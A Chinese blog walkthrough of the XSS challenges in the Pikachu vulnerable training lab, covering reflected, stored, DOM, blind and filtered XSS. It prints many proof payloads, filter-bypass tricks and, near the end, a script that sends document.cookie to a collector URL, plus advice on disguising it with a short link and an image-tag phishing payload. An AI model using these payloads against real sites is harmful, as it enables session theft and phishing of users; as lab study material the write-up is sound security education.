Pikachu-----Cross-Site Scripting(XSS)

目录

一、XSS

1.概述

二、Cross-Site Scripting(XSS)

1.反射型xss(get)

 2.反射性xss(post)

3.存储型xss

4.DOM型xss

 5.DOM型xss-x

 6.xss盲打

7. xss之过滤

8.xss之htmlspecialchars

 9.xss之href输出

 10.xss之js输出


一、XSS

1.概述

跨站脚本漏洞常见类型

危害:存储型>反射型> DOM型

●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
●存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
●DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。

XSS(窃取cookie)攻击流程 (借图)

二、Cross-Site Scripting(XSS)

1.反射型xss(get)

他问我们喜欢的NBA球员是谁?

 他竟然不在乎!!!好吧放大招:

<script>alert("Kobe")</script>

输入到一半时发现,搜索框有长度限制。我们有两种办法,

1.1 url直接输入

 把Kobe换成我们要插入的js代码

成功弹出来Kobe,看你还在不在乎!!!

1.2 F12修改html代码

 把maxlength的值修改为200,然后输入js代码,成功弹窗。

 2.反射性xss(post)

我们登录一下

这次我们不弹窗Kobe了,试试获取admin的cookie值

document在js里面有获得的含义,document.对象

<script>alert(document.cookie)</script>

 成功获取到admin的cookie值

3.存储型xss

看来是输入啥,留言板就有啥。

 

 留言板输入

<script>alert("xss")</script>
<script>alert(document.cookie)</script>

成功弹窗

 并且每次访问都会弹窗xss以及网页的cookie值

 

 查看网页源代码,可以看到payload在html代码中是原封不动的

4.DOM型xss

 HTML DOM(文档对象模型) JavaScript HTML DOM

HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准。 

输入js:

 <script>alert(1)</script>

 输入后发现回显了一个链接名为“what do you see?”

搜一下what do you see?

js代码并且调用了dom中getElementById获取到了标签 Id 为 text的内容赋值给str 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。
所以我们可以利用已知条件构建payload效果为弹窗,弹窗内容为1

<a href='#' onclick="alert(1)">'>what do you see?</a>

则Payload为

#' onclick="alert(1)">

 输入我们构造的Payload,点击链接'what do you see?'成功弹窗。

F12查看相应的代码,可以通过这个方法测试如何闭合标签和引号。

  此环境下的这个漏洞确实比较鸡肋,由前端输入又通过dom在前端输出所以和后台并没有什么交互。但是在不通的应用场景下,dom型的xss的作用还是非常厉害的。

 5.DOM型xss-x

他让我们说出伤心的事,我们随便打个字母y,返回一个链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”

 既然还是DOM型,就鼠标右键---查看网页源代码。

分析代码可以得出这题跟第4题没啥差别,也是利用了DOM将字符串进行了拼接并把值给a标签的href,就是比第4题更容易利用而已。

 这是我们输入字母y的

我们同样输入js

#' onclick="alert(1)">

点击链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”之后弹框

由于本关payload在url中,因此比第4关好利用很多,输入y ,url出现text=y

 #' οnclick="alert(1)">  需要url进行过滤    %23'+onclick%3D"alert(1)">#

由于DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。 

 6.xss盲打

发现是一个留言板,输入看看。

只有谢谢参与。。。。。

我们查看一下网页代码

发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了。

 我们查看一下提示,让我们登录。

 进入网址,登录。

 登录后发现我们刚刚输入的内容。

而且内容和用户名都有显示,所以对两个输入框都进行测试
输入Payload:

<script>alert(document.cookie)</script>

 

我们在次登录,发现弹窗我们构造的Payload,触发了两次,所以说明两个输入框都存在xss注入

7. xss之过滤

7.1xss绕过-过滤-转换

  •     前端绕过,直接抓包重放,或者修改html前端代码(前端的过滤只能作为辅助手段,是特别容易被绕过的)
  •     大小写(一个大写字母一个小写字母)
  •     拼凑<scri<script>pt>alert(111)</scri></script>pt>
  •     使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

        注意后台过滤一些特殊字符,比如<script>,但该标签可以被各种编码,后台不一定会过滤。当浏览器对该编码进行识别时,会翻译成正常标签,从而被执行。

        使用编码时需要注意编码在输出点是否会被正常识别和翻译(如果不能在输出点被识别的话,就算绕过了过滤也不能被执行)

来到靶场,问我们人生苦短吗? 我回他6

 继续输入Payload:

<script>alert(1)</script>

 发现只返回了一个 > ,这应该是把<script>标签过滤掉了

查看网页源码,也发现不了什么。

 我们输入<script 结果返回空,证明过滤的是<script

所以我们可以通过其他标签,或者大小写绕过等等进行xss注入。

大小写绕过

<Script>alert(1)</Script>

 其他标签(链接标签)

<a herf="#" onclick="alert(document.cookie)">

8.xss之htmlspecialchars

8.1简介

htmlspecialchars() 函数把预定义的字符转换为HTML实体,预定义的字符是:

  •  &(和)    转为 &amp
  •     "(双引号)     转为 &quot
  •     '(单引号) 转为 &#039
  •     <(小于号)     转为 &lt
  •     >(大于号)     转为 &gt

可用的引号类型

    ENT_COMPAT - 默认。 仅编码双引号
    ENT_QUOTES -  编码双引号和单引号
    ENT_NOQUOTES - 不编码任何引导

他说人生苦短,是因为xss学习不够好,我们依旧输入js代码:

<script>alert(1)</script>

查看源码,看来有过滤或转义。

 我们输入几个常用的字符 & " ' <script> <img> <a>

发现只有单引号没有转义,输入新Payload:

#' onclick='alert(1)'

发现弹窗,同时也能看到源码的闭合。

 9.xss之href输出

 先输入js代码:

<script>alert(1)</script>

<a>标签的 href 属性用于指定超链接目标的 URL。

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

所以我们构造payload:

javascript:alert(document.cookie)

关于href的防护

href属性规定链接的目标

  • 输出的时候只允许http或https开头的协议,才允许输出
  • 再进行htmlspecialchars处理

 10.xss之js输出

我们继续输入js:

<script>alert(1)</script>

啥反应也没有,直接看源码。

发现刚刚输入的东西跑到<script>标签内了,并且没有被编码 。

那就简单了,只要无中生有出一个js语句就好了,首先要用’;闭合掉当前的语句,然后插入新语句,然后再用//注释掉语句。

输入payload:

';alert(1);//

我们可以看到闭合的情况。

         js有一个特点技术不会对实体编码进行解释,如果使用htmlspecialchars进行编码的话,在js中不会解释,这样虽然解决了xss问题,但不能构成合法js,所以可以在js的输出点对特殊字符使用\进行转义。

三、XSS后台

1.简介

pikachu有自带的xss后台,能够更好的帮助我们理解xss漏洞。当然,网上也有相关的xss平台。

进入xss后台,进行登录,进入此页面,可以看到有cookie收集,钓鱼结果,键盘记录三个模块。

1.1 cookie值获取

 源码

路径和ip可能会有不同。

2.利用反射型xss(get)

我们用反射型xss来获取cookie

<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

location参数的值必须填写Pikachu漏洞管理工具中cookie.php文件的路径。 

 首先修改maxlength的输入长度。

 输入payload,会跳转到主页。

 我们回看xss后台,发现了获得的数据。

 referer里面的url可以用来钓鱼,我们要用到一个短链接生成得网站。短链接 - 免费短网址生成工具

这是生成的短链接 http://9dlj.cn/3swwi

 我们点击,在返回看xss后台:

3.反射型xss(post)

将postxss.html部署到自己的服务器上:

例如:http://127.0.0.1/post.html,将该url发送给已经登录到Pikachu中的用户,这里必须已经登录到xss(post)中的用户,该用户点击后xss后台获取到cookies信息.

3.xss漏洞钓鱼

        攻击者可以在一个有存储型XSS漏洞的网站中嵌入恶意代码,每当用户访问该网站站点时就会自动触发(前面已经说过了存储型XSS是永久的),弹出一个提示框,当用户防范意识不高,在提示框中输入信息,那么该信息就会上传到攻击者的后台。
思路:构造一个payload嵌入到网页中,让用户每次访问这个页面时都会执行我们的payload.

 找到fish.php相应目录

构造Payload为:

<img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" />

 

猜你喜欢

转载自blog.csdn.net/m0_65712192/article/details/128320085
今日推荐